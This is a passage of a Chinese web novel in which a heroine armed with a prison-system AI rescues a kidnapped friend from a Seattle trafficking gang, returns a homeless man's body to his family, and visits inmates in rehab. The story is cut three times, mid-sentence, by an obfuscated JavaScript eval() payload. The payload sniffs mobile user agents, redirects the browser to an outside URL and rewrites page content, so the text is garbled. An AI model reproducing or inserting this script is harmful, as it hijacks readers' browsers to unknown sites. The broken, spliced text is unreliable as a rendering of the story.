他可以先从埃米口中逼问出买家,再利用左凌勒索她的父母,最后将这里所有人,包括哪个迟迟没有出现的东州人—— 全都变成他们最喜爱的美金。 这样才是真的不虚此行。 明安同样觉得今天不虚此行,好不容易赶到案发现场、并且已经做好了最坏的打算的她看到这一幕大为震撼。 左姐,一个传奇般的女人。 不但被绑架了几个小时安然无恙,还靠一张嘴让犯罪同伙反目成仇了? 有这个实力她干什么都会成功的! 【根据《东州人民共和国刑法》第二百九十四条规定,组织、领导、参加□□性质的组织的,处七年以上有期徒刑,并处没收财产……该团伙以暴力、威胁或者其他手段,有组织地进行违法犯罪活动获取经济利益,为非作恶,欺压、残害群众,涉嫌□□性质组织犯罪、故意杀人罪、绑架罪,符合从重处罚的情节,数罪并罚。】 【案件危险评级:B】 【奖励:1500功勋点】 【当前案件危险系数较高,请执法者生命至上,量力而行。】 抓了那么多C,总算来了个B。 明安已经大概摸清了规律,案件评级是根据整体危险性来判定,而奖励则是结合危险系数与人数共同计算,抓到多少算多少。 小偷小摸没有杀人意图一般是D,单人奖励100功勋点以下,作奸犯科杀人放火是C,单人奖励在100-500功勋点之间,而团伙作案杀人如麻则是B,单人奖励500-1000之间。 而且整体案件被评级为B,却并不代表每个犯罪成员都有B的实力。 比如面前这个犯罪团伙,一共有十人,埃米一方四人,帮派一方六人,点开奖励详情就会发现,除了领头人达科塔价值500功勋点、黑人小孩同样独占一档200功勋点外,其他人都只有100功勋点。 大米利坚的犯罪上限是相当的高,都搞□□了还只够到B的门槛,A和S估计是更加难以想象…… 明安缓缓屏住了呼吸。 生命至上,但如果运气好将眼前这个犯罪团伙一网打尽,总共就是15000美金,整个冬季学期的学费都有着落了。 而且这群人带来的信息量也很大,既碰见了霸凌米亚的那几个学生,又发现了收购亚裔的线索,还有黑|帮组织,全都给她凑一窝去了。 机不可失,时不再来。 不过有一点还是让她感到疑惑,在山姆国医院进行心脏移植手术购买合适的心源都已经需要几十万了,加上其他器官更不用说。 她身为一个稀罕的东州货,就算整个卖会便宜点,也不至于才值五万吧?再翻个倍也不应该啊…… 21. 第 21 章 明安飞速思索着抓捕对策,这个犯罪团伙挑得位置相当很不错,周围很少有人来,也没人敢来。 而且巷子逼仄狭长,退路一断就叫天天不应叫地地不灵,对受害者来说是这样,对他们自己来说也是。 可惜现在敌我人数太悬殊了,而且她现在的准头还不是很好,匆忙之下很可能会有漏网之鱼。 如果有群攻手段就好了…… 思及此,明安翻了翻系统商城,虽然她现在余额为0,但还是非常自信地对老板说:“011,看到那个1500功勋点了吗?很多对吧,马上就是我们的了,只要你听我给你画个饼。” 这样脑海里说着,她不动声色地靠近巷口那辆疑似帮派成员开来的布加迪,趁没人注意伸手进去把手刹放了下来,而后便加快速度从另一个楼间小道穿过绕去巷子的另一头,身影悄无声息地融入了黑暗。 紧接着便有一道提示音响起。 【尊敬的执法者明安,您需要的商品“麻醉弹x1(最佳生效范围方圆10m)”已下单成功,系统正在发货……支付方式:先用后付。请您注意查收。】 正要下班的011:“?” 您好,系统吃不了大饼,也并未开通此类服务。 这个先用后付到底哪来的? 左凌同样觉得这是个好机会,她在埃米和达科塔起冲突的时候就神色惊慌地挪到了墙角,小心翼翼地观察着他们。 见没人在意她在做什么,很快便用被捆在身后的手抓起一根早已物色好的废铁钉,不动声色地扎手腕上的黑色胶带。 这样动静会比别的方法小很多,只要小心不要扎到手引起破伤风就好。 猛地一声枪响让左凌手一抖。 “啊!!!” 只见埃米突然被人从身后打中了腿,血从窟窿眼不断往外冒,整个人不受控制地摔在了地上,脸上满是鼻涕眼泪和冷汗。 另外几个同行的校霸也是和他一样的待遇,只能像被痛打的落水狗一样在地上哀嚎。 但埃米知道这只是开始。 以这些人的手段,剥皮抽筋都是最轻的惩罚了,他如果没有让他们满意,很可能就会成为吊在路边的奇观,亦或是野狗明日的早餐。 “No!我说我说!” “我全都会告诉你的,达科塔,我保证不会有一丝隐瞒!” 埃米连忙将芬太生物的联系电话和交货地址说了出来,“我没有骗你,兄弟,亚裔的价格确实是五万!纯血东州人的价格才是更多!” “而且他们要完全健康的!明安有心脏病,她真的就值这么多钱!” “你可以给他们打电话!” 埃米声音打颤地说,目光有些有闪烁,但这在黑夜里不太明显。 他不敢说真话,说真话必死无疑,他只能跟这些人耍心眼,将尸体和活人的价格混在一起,撇清自己的嫌疑。 达科塔并不在意这些细枝末节,反正最后美金都会来到他手里。 他只是凝视,深色的皮肤,彩色的脏辫,还有看待牲畜一样平静的目光,使得他像原始森林里走出来的古老民族,仿佛和地上的埃米完全不是同一种生物。 只需一个眼神,黑人小孩便立刻拿起埃米的手机拨通了这个号码,问: “东州货是什么价格?” 那边只停顿了不到一秒,就非常良好地接受了这位突如其来的供应商。 并且根据他狠戾熟练的语气默认了他手里的货是死的,轻松幽默地回答,“这非常紧俏,孩子,如果保存完好、渠道干净的话,是五万美金一个,否则就要小小地打个折扣了……” 也就是说他们不能把尸体打得太烂,影响实验价值,并且要做好扫尾工作,保证不会有人查到他们身上造成售后问题。 对面既然没有提到活人,黑人小孩自然也就直接认为只要尸体。 这样一看,他们还是有丰富的从业经验的。 黑人小孩熟练地约定了交货时间,便挂断了电话,朝达科塔点了点头。 达科塔的神色略有缓和,收回了指向埃米的枪。 然而还不待埃米松口气,就见他淡淡地做了一个“Kill”的手势,再也没有多给他一个眼神。 白猪不值钱,死的活的都一样。 他们在西雅图的街道上随处可见。 埃米惊恐地瞪大眼睛,看着枪口逼近自己的头颅,几乎连声音都要发不出来了。 “不!不要杀我!不——” 左凌同样慌了,因为很快就有一个帮派成员也朝她走了过来,试图伸手去捂她的口鼻,显然“kill”名单里也包括她! “等等!你不勒索吗?!” “我爸妈真的很有钱!” “他们一定会来赎我的!” 黑人小孩看了她一眼,捡起她的手机给她的父母发消息,还从自己的手机里放出一条录音,通过语音消息发了出去,并给出一个地址。 录音内容就是左凌刚刚说的话。 至于被勒索的对象听了会不会产生质疑,又信不信她还活着,这并不重要,他们也没有耐心和这对可怜的父母周旋。 这单不成就干下一单,他们很忙,“薄利多销”才是最赚钱的精髓。 校园霸凌和黑|帮不是一个性质的,为了达成目的他们可以什么都不在乎,即便这些人可能比自己年纪还小。 左凌意识到这一点后浑身发冷,呼吸都要停住了。 就在黑手即将捂住她的时候,她猛地挣脱了束缚,并将手里的铁钉狠狠地扎进了他手里,还抓起一把碎石和尘土扬了过去! “F*ck!” 帮派成员发出吃痛的咒骂。 左凌连滚带爬地朝巷子出口跑,连回头看一眼都不敢,更顾不上身上的伤。 快一点,快一点,一定要跑出去,不能落在他们手里,千万不能…… 直到一道枪声撕裂了夜色。 左凌大脑一片空白,本就渺茫的希望瞬间被粉碎,几乎有种身体已经被子弹贯穿的错觉。 双腿怎么可能快得过枪呢? 但就在千钧一发之际,一股力量抓住了她的手臂,猛地将她拉进了一辆废旧汽车后面! 与此同时“当”的一声响起,子弹在生锈掉漆的车门上擦出一道火花。 左凌踉跄地跌倒在地,心有余悸地抬头,只见一个漆黑的身影在她眼前一闪而过。 可还不待她开口说话,对方便消失在了视线里。 几道连续的枪声响起,和她剧烈的心跳交织在一起,但她已经连爬起来的力气都没有了。 刚刚那个人是谁,是警察吗,是来救我的吗,我真的会获救吗…… “Whoareyou?!” “S*it!Killhim!” “砰砰砰砰砰!” 几个帮派成员被激怒了,毫不犹豫地举起枪对准眼前的不速之客,毫不在意子弹的消耗。 过于密集的火力让明安再也无法靠近,如果被大面积击中,即便有执法者制服的防护也还是会受伤。 她谨慎地躲在巷子的拐角,将麻醉弹的拉环拔下,循着大致方位扔过去,而后屏气凝神地等待结果。 哐当!一个圆形金属骨碌碌地滚到了犯罪团伙面前,白色的雾气呲的一下泄出,在夜色里弥漫开来,无孔不入地渗透着人的口鼻和皮肤。 “Getout!” 达科塔敏锐地意识到这雾气有问题,毫不犹豫地催促手下弃货离开。 然而他们转身一看,却发现自己停在巷口的布加迪居然顺着坡度朝他们溜了过来! 该死!是哪个滚蛋没有拉手刹! 他们不得不后退几步,试图从侧边穿过去,但生死关头每分每秒举足轻重,这短暂的停顿足以让他们失去胜算。 麻醉弹效果极佳,达科塔下达完撤退命令的瞬间,白雾已经将他们吞噬,他感到眼前阵阵发黑,即便朝自己开了一枪,却还是控制不住逐渐失去力气的身体。 嘭,他倒下的时候脸上残留着暴怒,看起来远比被埃米欺骗的时候还渗人,完全可以预见假如他有了翻身的机会,会对始作俑者进行怎样惨无人道的泄愤——但这只是假如。 到底是什么人坏了他的生意,是警局条子还是该死的仇家,没有人给他回答,他也早已失去了最后一丝逃脱的希望。 其他人同样接二连三地倒下了。 明安的面罩自带防毒效果,没有受到丝毫影响。 听着多米诺骨牌般倒头就睡的声音,她松了一口气,在心里给麻醉弹点了个五星好评,便开始替他们“收尸”。 任务圆满完成,1500功勋点顺利到账,扣除刚刚购买麻醉弹的50功勋点,还剩下1450功勋点。 除此之外按照《东州人民共和国刑法》,这些帮派分子的违法所也是要没收的,明安将他们掉落的枪支手机等随身物品一起送进了空间监狱,交给011分拣消毒。 怎么有点像在舔包?明安思维不禁发散了一下,有种黑吃黑的错觉。 当然,她只是穿的衣服黑而已,心绝对是红的。 011:“请您直视我的眼睛。” 系统商城由全权负责,但以人为本、科技为辅一直是人类社会发展的准则,整个蓝星人民空间监狱司法体系也同样如此,所以实习狱长和执法者叠加的权限很高,更改一些边缘设定无伤大雅。 但值得注意的是,有人得到便利,就有人得为便利买单—— 先用后付垫的是它的钱。 从这一点来看,她的自我评价还有待商榷。 “……” 明安战术性清了清嗓子,“嗯你的眼睛很好看,有人说眼睛是心灵的窗口,我想身为宇宙中最伟大的人工智能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左凌实在难以用语言来形容自己此时此刻的感受,她只觉得浑身的热血都好像都被那抹赤红点燃了,鸡皮疙瘩席卷全身,让她瞬间忘记了所有疲惫和恐惧。 像是见证了历史降临在眼前,血脉和灵魂深处的信仰破土而出。 她激动到语无伦次,下意识从地上爬起来,也不知道是哪里来的力气。 然而一晃眼那道身影就在视线里消失了,只剩下那些盖了红章的文书在停留在原地,不知道的还以为刚刚那是幻觉。 左凌还没来得及跑过去就扑了个空,怔怔地站在原地,强行压下的药效也在这一刻卷土重来,让她失去了意识。 别走啊同志,能不能先跟和我合个影发TikTok…… 左凌无比失落地想着,在即将闭眼的时候,她隐约感觉到有人接住了她,好友明安焦急又担忧的声音在耳边响起。 “凌凌,你还好吗?” “对不起我来晚了,别怕,坚持住,你现在安全了,叔叔阿姨很快就要来了。” “我马上带你离开这里……” 左凌心想你个傻缺,居然真的一个人跑来了,以后老了卖保健品都嫌你流口水。 老娘才不怕,老娘牛叉坏了。 等老娘醒过来必须好好跟你唠唠,让你知道什么叫红星闪耀米利坚…… 赶紧睡吧,牛都没你精神。 明安面无表情地伸手将她的眼皮子合上。 不一会儿,左凌的父母带着钱赶到这里,警察也一起来了。 明安定了定心神,表现出一副也刚到的样子,脸上带着恰到好处的紧张,断断续续地和他们说明了事情的经过。 警员一向不太把老实的东亚人放在心上,再看到巷子里的文书后直接就对她失去了兴趣,立刻拉起警戒线,一边咔嚓咔嚓地拍照,一边发出此起彼伏的惊呼。 左凌父母的态度也不冷不热,说了几句让明安早点回家的客套话,就带着自己的女儿上车了。 记忆里他们一直这样,明安没有放在心上,还兑换了5000美金给他们当做医药费,毕竟这次多半也是她连累了左凌,对方是为了给她出头才得罪埃米等人的。 目送左凌家的车开走后,她长舒一口气,又回头看了一眼案发现场,见没什么异常,便也静静地离开了这里。 但不一会儿,又有几辆警车开了过来,一名警督打开车门,拿着她的照片叫住了一个警员,“见过这个人吗?她现在去了哪里?” 正在办案的警员不明所以,但还是回答,“是的长官,她刚刚还在这里,我们问了几句话就让她走了,因为她只是一个被胁迫的学生,这个案件的受害者……” 警督收起照片,没有理会他的解释,只兀自对身后的下属下令: “给我找到她,立刻。” 22. 第 22 章 在山姆国的警官为她加班加点的时候,明安也在兢兢业业当牛做马。 她还有很多事情要做。 首先是米亚失踪案,提供线索的前治安官沃德要去找,疑似带走了米亚的西雅图西区分局相关警务人员也要再调查一番,毕竟佐伊说上次自己太匆忙了,可能会有遗漏。 再者是刚刚得到的关键词线索“芬太生物医药公司”,以及刚刚逮捕的帮派可能还有很多成员逍遥法外,不过这些都得等埃米和达科塔等人醒来问清楚再说。 明安决定先解决米亚的事。 此时那位分局局长穆尔正因为疑似朝人群开枪,和吸食了致幻类药物而被停职调查。 但据明安观察,所谓“停职调查”的本质,其实就是带薪休假待在家里约泡,等这波舆论过去照样该干什么干什么。 毕竟穆尔也不是第一个朝人群开枪的,前辈早就已经有了丰富的经验。 相比之下,他只能算学了点皮毛,在业内也算是一名好警察了。 唯一令他不爽的大概就是没人愿意相信他的话,网民笃定他吸大了,亲朋好友还给他推荐精神科医生,于是他只能自己在家里排解苦闷。 明安半夜来到他家拜访,被迫听了半天猪叫,最后却和佐伊一样一无所获。 大概是因为早就打草惊蛇,就算有什么蛛丝马迹也已经被他处理完了。 没办法,在没有证据的情况下系统不会判定一个人有罪,她也不能随意逮捕他国公民。 明安只能去寻找其他突破口。 结果她发现沃德那个流浪汉形象似乎也有些过于标准,和他以前的照片相差甚远,后来长出来的胡子更是挡住了他大部分五官,也不知道是不是他故意的,总之找起来十分困难。 明安走街串巷向其他无家可归者打听他的下落的时候,要么被当成傻子,要么最后找到的是相似款,而不是本人。 【逮捕吸毒者,奖励:10功勋点】 听到系统时不时响起的提示音,她叹了口气,轻车熟路地把在帐篷里吸叶子的“沃德同款”送进了空间监狱。 其他提供线索的热心人士、旁边吃瓜看戏的围观群众、路上遇到的别的无家可归者——只要是沾了毒|品的,全都被她拷了进去。 至于他们一脸茫然错愕、亦或是宛如遭受背叛的眼神,明安就没有多看了。 私密马赛流浪汉酱,嗑药在我们东州真的是零容忍的问题。 总之干完这个干那个,几个小时后,主线任务进展纹丝未动,而支线任务已经自动拾取了650个功勋点。 除去给左凌爸妈的医药费,总余额来到了1600功勋点,空间监狱的人数也在迅速壮大。 不过这其实不算什么,毕竟西雅图的人口有七十多万,有人估算这里的无家可归者数量占总人口的2%左右,而且这还是官方统计数据。 也就是说,在这个繁华的国际大都市里,有至少一万五的人在流浪。 其实她还想去找找西雅图的下水道入口或者暖气管道附近,现在会在外面游荡的人还是少数,据说那里才是无家可归者真正的聚集地。 毕竟西雅图的冬天太冷了,流离失所的人很难得到完善的庇护,送入监狱至少可以保证他们不会被冻死。 不过明安看了看手机,时间已经来到了凌晨3点,这显然不足以支撑她完成这么大工程的任务,只能下次有空再来。 她深吸一口气,决定利用剩下的一点时间去做一件没那么危险、也是之前打算做的事: 给她穿越过来当天,在第三大街收殓的那两具尸体寻找归宿。 这两具尸体都是男性,一位大约三四十岁,一位二十出头,当时明安将他们带走的时候,也顺便收拾好了他们身边的物品。 虽然有些东西已经随着他们的死去失去了价值,但还是有少量能代表他们身份的物件。 比如那具三四十岁的尸体,他那些破烂一样的东西里竟然有一块闪闪发亮的勋章,上面刻着101stAirborneDivision(101空中突击师),那是山姆国的王牌空降兵的象征。 他们在二战中诞生,去过诺曼底,到过伊拉克,在世界各地的战场上厮杀过。 但现在,他成了街头一滩无人问津的废品。 明安的心情无比复杂,她告诉自己山姆国的兵和自己国家的不一样,可还是没能缓解心中那种难以形容的悲哀。 毕竟城市另一边的梅迪纳别墅区灯火通明,和比尔盖茨一样的富人在觥筹交错地庆贺新年的启程,可与此同时,这个国家却养不起一个曾为它浴血拼杀的士兵。 明安深吸一口气,这位空降兵除了这些,没有其他能证明具体身份或者亲朋下落的物品,只能暂时搁置。 而剩下那位二十出头的青年倒是好找一些,他随身带着自己的证件,还有一张和父母的合影,背面就是家庭住址。 她将自己的思绪收回来,换回了正常的装扮,稍作伪装,将羽绒服套在雨衣里面,还将围巾拉到最上面遮住脸和耳朵,整个人显得有些臃肿,但足够保暖,这才走上街头拦下了一辆Uber。 哦对了,这条围巾是011看《黑猫警长》的时候织的,还在上面绣了一只小黑猫。 它是一个心灵手巧的机器人。 今天晚上在外面闲逛的阿sir似乎有点多,不知道第几次和警车擦肩而过的明安疑惑地想。 见对方似乎在找什么人,明安还想打听一下吃个瓜,但看到她跟个大妈一样好奇地探出头,他们就不耐烦地挥了挥手电筒让她们走了。 不久后,明安抵达了目的地。 这里位于西雅图的郊区,房子是用木板和铁皮搭建,还有的就像是用房车改造的一样,到处都是零零散散的废品,草坪坑洼不平,门口简陋的晾衣绳上挂着湿漉漉的衣服。 现在还太早了,天没有亮,空气冷得让人瑟缩,周围没有什么人影。 明安把手机当手电筒,仔细对照着地址,来到了一个木屋前,它整体看起来不算太差,但房子上的漆都掉了大半,应该是很久没有翻新了。 令人诧异的是,现在仅仅是凌晨四点,里面却隐约有了动静,打开了灯,并陆续传来准备穿衣服和准备早餐的声音。 从这两位老夫妻的交谈声中明安得知,他们原本是要去镇上一家快餐店上班,上够八小时后,再去另一家超市整理货物、收银和打扫卫生,一直到晚上九点才能回来。 因为他们干完了本应该由好几个年轻人干的活,并且十几年来从未出过差错,老板一直没有解雇他们。 但现在他们渐渐老了,身体开始出现故障,结石和糖尿病折磨得他们睡不好觉。 于是他们商量着反正也睡不着,不如再去找一份工作,好赚取额外的医药费开支。 期间年迈的女人突然说了一句,“比尔已经很久没有回来看我们了,是不是因为他上次来借钱我拒绝了……可是我们确实拿不出300美金……” 丈夫安慰道:“亲爱的,不要想太多,他已经长大了,应该要有独立生存的能力。” “好了,把面包吃完,我们该去上班了,我听说……” 明安沉默片刻,趁着夜色轻手轻脚地将比尔的尸体放置在门口,本想摆放得自然一点,就像是他自己回到了这里一样。 但最后她还是将其平放,连裹尸袋也没有收走。 孩子的死亡已经足够令人悲伤了,她不能再让这对夫妻误以为他是在家门口冻死的,即便这会留下一些痕迹。 做完这一切后,明安裹紧雨衣快步离开,她不太想看到接下来发生的事。 但这对夫妻很快就吃完了早餐,打开了房门,紧接着就发出一阵悲恸的声音。 “比尔,是我们的比尔……” 他们在哭泣,几乎哭得撕心裂肺。 在孩子没有出现之前,他们一直乐观地安慰自己,或许比尔现在过得很好,只是怨恨他们没有在困难的时候向他伸出援手。 可眼前的一切打破了他们的幻想。 事实上比尔可能是因为他们的冷漠而死去的,他甚至在临死前都没有回来看他们一眼。 他们不知道这是彻底对他们失望了还是不想给他们添麻烦,他们只觉得无比地绝望,对自己,也对这个国家。 比尔一直是个很乖的孩子,没有打架也没有吸|毒,甚至都不纹身,他只是有点不爱说话。 可为什么这么乖的孩子还是活不下去,这个世界到底怎么了…… 这家人的哭声很快引来了邻居。 他们从各种奇形怪状的房子里走出来,大多是老人和小孩,衣着都不太体面,但依然冒着寒风给这对可怜的父母送上了些许安慰。 每个人的神情都很悲伤,悲伤到近乎麻木,仿佛能从他们脸上看到无数次哀悼,而他们也确实经历过无数次哀悼。 可是悲伤过后还要面对现实。 比尔的遗体该怎么处理,怎么给他办葬礼,钱又该从哪里来…… 突然之间,人群中传来一声惊呼,死者的父亲昏厥了。有人呼唤,有人施救,有人去房子里翻找药物,有人开车过来送他去医院。 最后在混乱中,明安听到有人对死者的妻子说:“将他交给警察吧,他们会有办法的,我们需要先救你的丈夫,这已经是他这个月第三次晕倒了……” 女人的哭声变得更加悲哀了。 明安躲在屋子后面久久说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082914|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出话来,她知道对方的那句话意味着什么。 意味着他们不准备给儿子举办葬礼了,而是将他的遗体交给警察卖掉,换一点钱维持生计。 这笔收入甚至还不能忘了纳税。 …… 快要凌晨五点时,明安回到了空间监狱,躺在中央监控室的地上摆烂。 真的太累了,才穿过来第二天,感觉就像是过了二十年一样。 身体累,精神也累,这个国家的社会百态带给人的观感冲击太剧烈了,很容易让人情绪过载。 幸好空间监狱有牛马绝佳饲料——营养液,喝下之后可以令人身体上的疲惫一扫而空。 但明安却不认为这是什么好东西,她心想有了这个之后,自己不会要净化掉睡眠,24小时不间断地工作吧? 不行,睡眠是人类最基本的仪式感之一,她必须得躺一会儿,修复她同样疲惫的心灵。 明安闭上了眼睛,交给机器人“收尸”,并扯走她身上脏兮兮的雨衣。 将她安置好后,011和往常一样上班去了。 直到十二点钟左右,明安在自己的休息室里醒来了,并且得到一个好消息。 011真的实现了她的设想,把她要的“瞬间换装”做了出来! 还贴心地给她的口罩加装了变声器,以后她执行任务的时候就不用当哑巴了! 看着面前的一双黑色手套,明安诧异地看着它,“这样就做好了?一双手套?戴上它就等于穿上了执法者制服?” 011:“是的,研究员011根据您的需求,在保留制服原有功能的基础上加入了空间折叠和纳米吸附的效果,使其能够迅速覆盖执法者全身,以达到缩短穿衣时间的效果。” “并且升级了它的防御效果,现在可抵御五十万牛顿以上的侵彻力,具体表现为如果您下次中弹,不会再对身体造成骨折级别的受创,只会感到少量的冲击力。” 明安没什么文化,听得半懂不懂,但依然不明觉厉地表示惊叹,给了这位人工智能足够的情绪价值。 然后问出了一个非常浅显的问题,“嗯,感谢伟大的研究员,你简直就像哆啦A梦一样贴心!但它为什么是手套?” 她原本以为这个效果要么像虚拟游戏里一样一键换装,要么就像小时候看过的电视剧一样以腰带、魔法棒或者徽章为锚点进行变身,没想到011却给了她一双手套。 这里面有什么说法吗? 还是单纯就是它的个机爱好? 对此,研究员011阐述了自己的研发理念,“手是人类最灵活、最精细的器官,在对它进行保护时的过程也是最复杂和耗时最长的,如果用机器进行测算需要消耗强大的算力,但人类可以轻松地做到这一点。” 好吧,虽然依旧不是很懂,但明安大概明白了它想表达的意思。 也就是说人的手部结构太复杂,用科技给人戴手套很麻烦,她不如自己穿上比较快。 等手套戴好,换装也就完成了,省时省力,还给它省了一个难题。 明安非常务实,对装叉没有太大的需求,了解过后便欣喜地接过它欣赏起来,“011!你是世界上最棒的011!” “感谢您的赞美。” 这时最棒的011却缓缓伸出机械手,“加工费500功勋点,请问您是现金支付还是转账?” “……” 果然,天下没有免费的午餐,命运馈赠的礼物都早已明码标价。 明安含泪转账,但还好昨晚她足够勤奋,现在支付这笔加工费对她来说并不算困难。 而且改了那么多东西才500功勋点,已经很划算了。 明安尝试地穿戴了几次,果然只需要戴个手套的时间就能完成换装,不过她发现原来的衣服还是最好别穿太厚,否则会有点紧绷,比如把羽绒服脱掉会更合身一点。 而后她又试了试变声器自带的几种音色,有男有女,也雌雄莫辨的,有的一听就是AI合成,也有的非常逼真。 其中她最喜欢【机械女音】,这个比较容易适应,还有种科幻感和神秘感,非常契合她的外形。 使用完毕后,明安非常满意,又开始点菜,“能再给我整对翅膀吗?这里的城市交通不太发达,而且很贵,如果以后做任务的时候能直接飞过去就好了,这一定可以大大提升我的工作效率……” 怎么会有人致力于改进自己拉磨的工具,好让自己拉得快一点呢? 看来她真的很热爱这份工作了。 011表示不理解,而且它的机械手忙得都要冒烟了,“……尊敬的执法者,我是人类科技的造物,不是许愿池里的王八。” 而且科技不是万能的,它也不是。 23. 第 23 章 【姓名:明安】 【身份:初级狱长/执法者/业余收尸人/夜行者】 【功勋点:1100】 【效果:暂无】 此时蓝星人民空间监狱的人数已经过百,达到了128人,明安的【实习狱长】头衔也变成了【初级狱长】。 其实她觉得这个头衔和那个【业余收尸人】都更像是011的创意,毕竟当时签订的合同里并没有这方面的内容。 嗯,她现在又多了一个【夜行者】的称号,这一看就是在内涵她是个夜猫子…… 明安沉默了一下,但作为一个友善的同事,她非常良好地接受了自己的新花名,并大方地包容它这点小小的趣味。 不过仔细观察了一下后,她发现空间监狱还真的升级了一些东西。 监房数量和活动范围就不用说了,这个必须升级,还有一些之前不在工作的机器人也被激活了,比如现在已经有了专门负责做饭和打扫卫生的厨师机器人与扫地机器人了,不再需要管理员011全都亲力亲为。 看来摸鱼不但是人类科技创新的动力,也是人工智能的。 此外它还加设了入狱审讯环节。 也就是说从现在开始,每一个进入监狱的服刑人员都要戴上测谎仪进行全方位讯问,测试对方是否有其他遗漏或隐瞒的犯罪情节。 这应该是上次在聊天中途,011发现佐伊还有非法入室这项罪名没有计入量刑,也有可能是现在人多了监狱也有足够的能量完善流程了。 今天学校就下午四点有一堂课,时间还很富余。 明安决定去看望一下这些服刑人员,而这也确实是她身为狱长的职责之一。 临走时她还顺便将011手里的推车接过来,里面是之前那些戒|毒和服刑人员的个人物品,现在已经全部消毒分拣并整理好了,“我帮你送过去吧,你可以继续去看黑猫警长。” 反正戒|毒中心距离这里最近,她也要去一趟。 011歪头看着她,失去活干的白色机械手不适应地抓了抓空气。 科技产品一般是人类创造出来代替自己去生产劳动的,结果一个人类却跑过来抢走机器人的工作,这种情况它还是第一次见。 而且现在还没有到下班时间。 011的机脑短暂地卡顿了一下,最后还是决定去研究她要的翅膀,满足同事想当个鸟人的愿望。 由于多了个流程,现在新加入空间监狱大家庭的人员还没有全部完成体检和审讯筛查,所以戒|毒中心还是之前那些人。 他们今天仍然在多媒体教室接受科普学习,只不过今天要了解的是具体的戒毒流程。 屏幕上正在介绍的是戒|毒四大阶段的第一个内容:生理脱毒。 因为一天过去,已经有人开始出现药物截断反应、也就是毒|瘾发作了,是时候进入规范化戒|毒流程了。 这本来是件好事,然而明安来到这里的时候,却发现教室里的气氛十分压抑,就连平时话最密的卷毛丹尼斯看到她都没什么反应。 只见他死死地盯着屏幕上的科普动画,画面里医生将患者安置在医疗器材上,间断性地注入脱毒血清,还配有简洁易懂的旁白说明。 每个疗程过后都能看到患者的治疗进展和显著变化,七个疗程后,患者彻底脱毒成功,开始进入接下来的三个阶段:教育适应期、康复巩固期和回归指导期。 最后回归社会,正常生活。 画面的蓝图里描述得十分美好,丹尼斯却发出一声冷笑。 这和那个成|瘾治疗中心宣传的差不多,但事实证明一切都是骗局,他们从一开始就没打算要治好他,只是在利用他给他们新研发的器材和药物做实验而已。 他们摧毁了他的身体,给他注入了不知道多少种合成毒|品,观察他发作的反应,还假惺惺地说“这是正常现象,你会出现这个症状说明你在变好,这是好事”。 然而在达成目的后却像丢垃圾一样把他丢出去!完全不在意他的死活! 哦不,或许是在意的,因为他们每隔一段时间都会贴心地过来记录他的情况,像是在做社会实验,统计一种生物彻底灭绝需要的期限,最后变成某位医学博士的论文。 他已经有过前车之鉴了,眼前这个地方又会好到哪去呢?丹尼斯只感到无尽的绝望和麻木。 以他现在的身体状况,根本就无法承受再一次折磨。 或许他很快就会如愿死去,在实验开始或中途,让这里的恶魔露出不悦或懊恼的神色。 诅咒他们永远得不到自己想要的,丹尼斯这样想着。 他有些想念自己的父母了。 曾经他拥有一个几乎完美的家庭,父母勤奋又开朗,每天按时工作,并将草坪打理得井井有条,还时不时带他去镇上吃汉堡,唯一的烦恼大概就是节省的母亲在超市里抢到的打折食品太难吃了。 可惜时代的浪潮落在普通人身上就是灭顶之灾,一场金融危机,一次下岗,就彻彻底底摧毁了他美好的家庭,从此以后每一天都是深渊。 如果能再见父亲母亲一面就好了,他已经快要忘记他们的样子了。 或许等到了天堂或者地狱…… 也许是风俗习惯不一样吧,她们这边一般不会在进行低风险治疗时露出一副“我要死了”的表情,明安不是很理解他们的多愁善感。 她停好推车,待到动画播放完,道:“打扰一下,趁现在人都在这里,先把你们的东西发下去吧,念到名字的自己上来拿。” “丹尼斯。” “丹尼斯?” 明安疑惑地抬头,拿起一个密封袋,看向正在怔怔地看着她的卷毛青年,“怎么还不上来?这不是你的东西吗?一张全家福照片、一条齿轮项链,还有一条围巾……如果你在等你的叶子的话,我建议你死了这条心。” 丹尼斯不敢置信地看着她,或者说看着她手里的东西。 它们被使用了太久,已经变得跟垃圾一样破败了,现在却被妥善地装在一个透明密封袋里,仿佛那是什么值得好好保存和珍惜的物品。 可这种东西除了他自己还有谁会在意?它们不应该早就被丢弃了吗? 丹尼斯一下子红了眼眶,直到明安将密封袋递给前排传下来,传到他的手里,他才刚相信这竟然是真的。 他小时候和父母的合影、父亲从工厂带回来的汽车零件还有母亲亲手为他织的围巾,竟然真的都还好好的。 它们没有被丢弃,而是被完整地带回来了。 明安看了丹尼斯一眼,又叫了前排几个人一起帮忙发,一边发一边道:“当时情况匆忙,能帮大家拿上的东西我都尽量拿上了,如果还有遗漏稍微担待一下。” 其他戒|毒人员依次上前,原本还有些忐忑,但在真的领到自己的东西的时候都露出了惊喜的神色。 “是真的!这真的是我的东西!” “哦!陪伴我十年的阿贝贝!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 